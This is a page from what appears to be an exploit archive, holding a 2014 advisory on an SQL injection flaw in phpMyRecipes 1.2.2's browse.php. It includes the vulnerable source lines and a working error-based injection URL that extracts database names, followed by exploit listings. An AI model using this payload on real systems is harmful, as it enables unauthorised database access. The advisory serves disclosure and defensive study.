Menu

Search for hundreds of thousands of exploits

"PHPMyRecipes 1.2.2 - 'browse.php?category' SQL Injection"

Author

Exploit author

"Manish Tanwar"

Platform

Exploit platform

php

Release date

Exploit published date

2014-12-23

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
##################################################################################################
#Exploit Title : phpMyRecipes 1.2.2 SQL injection(page browse.php, parameter category)
#Author        : Manish Kishan Tanwar
#Download Link : http://prdownloads.sourceforge.net/php-myrecipes/phpMyRecipes-1.2.2.tar.gz?download
#Date          : 23/12/2014
#Discovered at : IndiShell Lab
# Love to      : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,jagriti
# email        : manish.1046@gmail.com
##################################################################################################

////////////////////////
/// Overview:
////////////////////////


phpMyRecipes is a simple application for storing and retrieving recipes. 
It uses a web-based interface, for ease of use across any system, and a MySQL database backend for storing the recipes.
///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to parameter category in browse.php 
parameter category is passing to function GetCategoryNameByID without data filtering and due to it, SQL injection vulnerability is arising.

from line 38 to 56

    $category = $_GET['category'];
  }

  $session = getsession();

  c_header("Browse Recipes", "browse");

  # Build a category string
  $cat = $category;
  $catstr = "";
  while ($cat != 1) {
    if ($catstr == "") {
      $catstr = "<A HREF=\"" . slink("browse.php?category=$cat") . "\">" . GetCategoryNameByID($cat) .  "</A>" . $catstr;
    } else {
      $catstr = "<A HREF=\"" . slink("browse.php?category=$cat") . "\">" . GetCategoryNameByID($cat) .  "</A> > " . $catstr;
    }

    $cat = GetCategoryParentByID($cat);
  }
  

////////////////
///  POC   ////
///////////////

POC image=http://oi57.tinypic.com/inv3ol.jpg
 payload for extracting database name 
 set value of category parameter to 1 and add error based SQL injection payload to url
 
http://127.0.0.1/pr/browse.php?category=1 and(select 1 FROM(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)


                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Das
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2018-03-27 "TestLink Open Source Test Management < 1.9.16 - Remote Code Execution (PoC)" remote linux "Manish Tanwar"
2018-03-02 "TestLink Open Source Test Management < 1.9.16 - Remote Code Execution" remote php "Manish Tanwar"
2017-10-22 "WordPress Plugin Polls 1.2.4 - SQL Injection (PoC)" remote php "Manish Tanwar"
2017-07-04 "Joomla! 3.7 - SQL Injection" remote php "Manish Tanwar"
2017-02-03 "Posnic Stock Management System - SQL Injection" remote php "Manish Tanwar"
2017-01-26 "PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting" webapps php "Manish Tanwar"
2016-01-05 "Online Airline Booking System - Multiple Vulnerabilities" webapps php "Manish Tanwar"
2015-10-26 "Joomla! 3.2.x < 3.4.4 - SQL Injection" webapps php "Manish Tanwar"
2015-08-26 "Magento eCommerce - Remote Code Execution" webapps xml "Manish Tanwar"
2015-08-25 "vBulletin 3.6.0 < 4.2.3 - 'ForumRunner' SQL Injection" webapps php "Manish Tanwar"
2015-06-19 "Lively Cart - SQL Injection" webapps multiple "Manish Tanwar"
2015-04-09 "WordPress Plugin Windows Desktop and iPhone Photo Uploader - Arbitrary File Upload" webapps php "Manish Tanwar"
2015-03-22 "Joomla! Component Spider FAQ - SQL Injection" webapps php "Manish Tanwar"
2015-01-22 "ecommerceMajor - SQL Injection / Authentication Bypass" webapps php "Manish Tanwar"
2014-12-23 "PHPMyRecipes 1.2.2 - 'browse.php?category' SQL Injection" webapps php "Manish Tanwar"
2014-12-08 "PBBoard CMS - Persistent Cross-Site Scripting" webapps php "Manish Tanwar"
2014-05-20 "Clipperz Password Manager - '/backend/PHP/src/setup/rpc.php' Remote Code Execution" webapps php "Manish Tanwar"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.